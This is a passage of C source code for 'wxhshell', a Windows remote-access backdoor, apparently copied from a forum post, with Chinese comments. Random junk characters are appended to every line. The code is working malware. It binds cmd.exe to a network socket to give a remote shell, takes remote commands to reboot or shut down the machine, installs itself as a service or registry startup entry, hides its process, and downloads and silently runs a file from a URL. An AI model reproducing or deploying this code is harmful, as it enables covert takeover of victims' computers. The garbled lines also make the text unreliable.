  } 'l)@MX bGL  
  else { ?}bSQ)b  
WUMx:a0!  
    switch(cmd[0]) { XBdC/DM[  
  No!P?  
  // 帮助 y2o?a6`  
  case '?': { {FteQ@(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tbl!{Qwx  
    break; VNx}ADXu]  
  } `yNNpSdS1  
  // 安装 _)ZAf% f?  
  case 'i': { m>jX4D7KZ  
    if(Install()) 45W:b/n\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (;+ JM*c2N  
    else <~<I K=n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SG$/v  
    break; kT[]^Jtc  
    } &7XB $  
  // 卸载 yI h>j.P  
  case 'r': { JIjqGxR  
    if(Uninstall()) u'<Y#bsR#/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2P"@=bYT"  
    else x.<^L] "  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0[x?Q[~S_0  
    break; 8HxB\ !0F?  
    } 3T|:1Nw  
  // 显示 wxhshell 所在路径 M\DUx5d J,  
  case 'p': { VABrw t  
    char svExeFile[MAX_PATH]; ig7)VKr  
    strcpy(svExeFile,"\n\r"); g*AnrQ}P  
      strcat(svExeFile,ExeFile); 6oL-Atf  
        send(wsh,svExeFile,strlen(svExeFile),0); KAO}*?  
    break; BAx)R6kS;  
    } JOx75}  
  // 重启 ^Qs-@]E-  
  case 'b': { s"=e (ob  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \b1I<4(  
    if(Boot(REBOOT)) ;yx+BaG~?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cJGA5m/{I  
    else { \"<&8  
    closesocket(wsh); P (_:8|E  
    ExitThread(0); f)vD2_E  
    } (IAl$IP63s  
    break; k'xnl"q  
    } <xOpm8  
  // 关机 8L|rj4z<#  
  case 'd': { 7'xT)~*$4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3Yp_k  
    if(Boot(SHUTDOWN)) OHR9u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V89!C?.[]1  
    else { 7Q/v#_e(  
    closesocket(wsh); LGgEq -  
    ExitThread(0); Wu2#r\  
    } T=A7f6`  
    break; LrsP4G  
    } 7?]gUrE  
  // 获取shell jcYI"f"~  
  case 's': { :2 n5;fp  
    CmdShell(wsh); [64K?l0&  
    closesocket(wsh); C;OU2,c,T  
    ExitThread(0); tv,^ Q}  
    break; aGr(djD  
  } (t&P. N/  
  // 退出 T=ox;r  
  case 'x': { +7|Oy3s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BO#fzq%  
    CloseIt(wsh); fp:j~a>E  
    break; MV e5j+8  
    } IhJ _Yed  
  // 离开 v7\~OOoH]  
  case 'q': { *J 7>6N:-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ni(D[?mZ  
    closesocket(wsh); K}1>n2P  
    WSACleanup(); tPDV"Md#m<  
    exit(1); !Z<GUbl t  
    break; 'N,x=1R5  
        } +O*S>0  
  } i5(_.1X<#{  
  } t8U)za  
TEE$1RxV(  
  // 提示信息 E"x 2jP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;TEZD70r  
} YM1tP'4j@  
  } aCMF[ 3j  
c_kxjzA#  
  return; H) m!)=\'  
} nR!qolh  
) ok_"wB  
// shell模块句柄 tJ&S&[}  
int CmdShell(SOCKET sock) H_o<!YxK  
{ &julw;E  
STARTUPINFO si; h}g _;k5R  
ZeroMemory(&si,sizeof(si)); D4c}z#}*0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "@$o'rfT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )m\%L`+  
PROCESS_INFORMATION ProcessInfo; .Uh-Wi[  
char cmdline[]="cmd"; sog?Mvoq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #v89`$#`2  
  return 0; S;Lqx5Cd  
} fdck/|`t  
DJr 8<u  
// 自身启动模式 "P&|e|7  
int StartFromService(void) #Ru+|KL  
{ %Kw5 b ;  
typedef struct ?N,a {#w  
{ 6i9m!YQV  
  DWORD ExitStatus; mu=u!by.E  
  DWORD PebBaseAddress; o-("S|A-  
  DWORD AffinityMask; Lyt6DvAp"  
  DWORD BasePriority; XFG]%y=/6  
  ULONG UniqueProcessId; \%mR*J+  
  ULONG InheritedFromUniqueProcessId; 8W[QV  
}   PROCESS_BASIC_INFORMATION; :1hp_XfJb  
-x:Wp*,  
PROCNTQSIP NtQueryInformationProcess; f2uog$H k  
v9x $`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4AZlr*U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u17Da9@;  
["Z]K'?P  
  HANDLE             hProcess; ~ W52Mbf  
  PROCESS_BASIC_INFORMATION pbi; 0aQNdi)b  
a_x$I? ,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I]~xs0$4#  
  if(NULL == hInst ) return 0; rv9qF |2r{  
qWw@6VvoQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "h2;65@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6Ck?O/^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dK|MQ <  
[0m'a\YE9  
  if (!NtQueryInformationProcess) return 0; o:f=dBmoX  
7M3q|7 ?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }1:jM_H)k  
  if(!hProcess) return 0; }x~|XbG  
<!5N=-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !+U#^2Gz  
ENA8o}n  
  CloseHandle(hProcess); L7X._XBO[  
TcauCL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UF D_  
if(hProcess==NULL) return 0; ;=_<\2  
C]A*B  
HMODULE hMod; N]KqSpPh  
char procName[255]; Q]{DhDz ?+  
unsigned long cbNeeded; 7yeZ+lD  
iMk`t:!;#"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k8Qv>z  
S8.nM}x  
  CloseHandle(hProcess); EpOVrk  
Sn7.KYS  
if(strstr(procName,"services")) return 1; // 以服务启动 R?Iv<(I  
$v-lG(  
  return 0; // 注册表启动 &fiDmUxj  
} 4y>G6TD^  
'9$xOrv  
// 主模块 wUh'1D<(r  
int StartWxhshell(LPSTR lpCmdLine) qe`W~a9x  
{ cvn,&G -`  
  SOCKET wsl; |n01T_Z)P  
BOOL val=TRUE; {D1=TTr^  
  int port=0; G5TdAW  
  struct sockaddr_in door; Nf<([8v;t  
q^(A6W  
  if(wscfg.ws_autoins) Install(); lJ}G"RTm  
sBwkHsDD  
port=atoi(lpCmdLine); <ywxz1i  
fCx~K'UWn  
if(port<=0) port=wscfg.ws_port; FRs5 Pb1  
d<`Z{"g NS  
  WSADATA data; {3_M&$jN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @zsr.d6Q  
,i>5\Yl%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U~Uxs\0:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); luat1#~J  
  door.sin_family = AF_INET; BIw9@.99B-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^~=o?VtBg  
  door.sin_port = htons(port); `.L8<-]W  
KXicy_@DC`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BCsW03sQ  
closesocket(wsl); F'pD_d9]e  
return 1; 34s:|w6y  
} Vu~mi%UH  
AL H^tV?  
  if(listen(wsl,2) == INVALID_SOCKET) { WiPMvl8  
closesocket(wsl); 4A|5eg9N  
return 1; \-V  
} +es.V /  
  Wxhshell(wsl); V%o:Qa[a  
  WSACleanup(); c9r2kc3cy{  
jUW{Z@{U  
return 0; v,Ep2$  
%8S!l;\H5  
} n+Fl|4  
!Aj_r^[X`  
// 以NT服务方式启动 ,lL0'$k~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %S$P+B?  
{ /SlCcozFL~  
DWORD   status = 0; A4%0  
  DWORD   specificError = 0xfffffff; {^MR^4&}(  
Rjm5{aa-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ',J3^h!b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PuUqWW'^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cN&b$ 8O=%  
  serviceStatus.dwWin32ExitCode     = 0; y$4,r4cmR|  
  serviceStatus.dwServiceSpecificExitCode = 0; ]C5JP~ #z  
  serviceStatus.dwCheckPoint       = 0; K V  4>(  
  serviceStatus.dwWaitHint       = 0; bG2 !5m4L  
7v%~^l7:x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~q-|cl<  
  if (hServiceStatusHandle==0) return; (iBBdB  
~[ve?51  
status = GetLastError(); cJi5\<b  
  if (status!=NO_ERROR) //V?rs  
{ {U-VInu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WlWBYnphZs  
    serviceStatus.dwCheckPoint       = 0;  <&$!;d8  
    serviceStatus.dwWaitHint       = 0; ^XZm tB  
    serviceStatus.dwWin32ExitCode     = status; Q8z>0ci3o  
    serviceStatus.dwServiceSpecificExitCode = specificError; mQo]k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H^'*F->BA  
    return; z@T;N'EM  
  } (Ozb+W?  
L7a+ #mGE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H'Z[3e  
  serviceStatus.dwCheckPoint       = 0; jr~76  
  serviceStatus.dwWaitHint       = 0; !C#q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8h;1(S)*Z  
} 8M(N   
0~an\4nh  
// 处理NT服务事件,比如:启动、停止 gt}/C4|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N @]*E  
{ lyv9eM  
switch(fdwControl) 1)%9h>F7  
{ ?$=N!>P#  
case SERVICE_CONTROL_STOP: )M'#l<9B  
  serviceStatus.dwWin32ExitCode = 0; }{]{`\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $zxCv7  
  serviceStatus.dwCheckPoint   = 0; LT2mwJl  
  serviceStatus.dwWaitHint     = 0; Wm Od1  
  { |D`Zi>lv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y5+-_x,  
  } Ww)qBsi8  
  return; QJGRi  
case SERVICE_CONTROL_PAUSE: N \A)P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5vg@zH\z  
  break; ]7'Q2OU7  
case SERVICE_CONTROL_CONTINUE: }ndH|,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I:AlM ?  
  break; NWX~@Rg  
case SERVICE_CONTROL_INTERROGATE: uop_bJ  
  break; j0:F E  
}; ~mmI] pC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0+cRUH9Ew  
} 4.CLTy3W  
GD~3RnGQ{  
// 标准应用程序主函数 hMi!H.EX.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f-4<W0%  
{ T5W r;a  
IxgnZX4N  
// 获取操作系统版本 K6!`b( v#  
OsIsNt=GetOsVer(); |$7!u DU8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -D{~7&  
1`B5pcuI  
  // 从命令行安装 3cQTl5,  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y:*mAv;&  
VY~WkSi[<  
  // 下载执行文件 FW[<;$  
if(wscfg.ws_downexe) { 'fawpU|h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Es[?yft2Q<  
  WinExec(wscfg.ws_filenam,SW_HIDE); *R1x^t+)  
} KJcdX9x  
B'atwgI0  
if(!OsIsNt) { 9r\8  !R  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^ /:]HG  
HideProc(); q0DoR@  
StartWxhshell(lpCmdLine); w?<:`  
} &AOw(?2  
else &&JI$x0;  
  if(StartFromService()) |~v($c  
  // 以服务方式启动 j!:U*}f  
  StartServiceCtrlDispatcher(DispatchTable); #@lr$^M  
else -v>BeVF  
  // 普通方式启动 E62VuX  
  StartWxhshell(lpCmdLine); ,7/un8:%c  
jwAO{.}T1r  
return 0; p B?a5jpA  
}
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只看该作者 1 发表于: 2006-10-10
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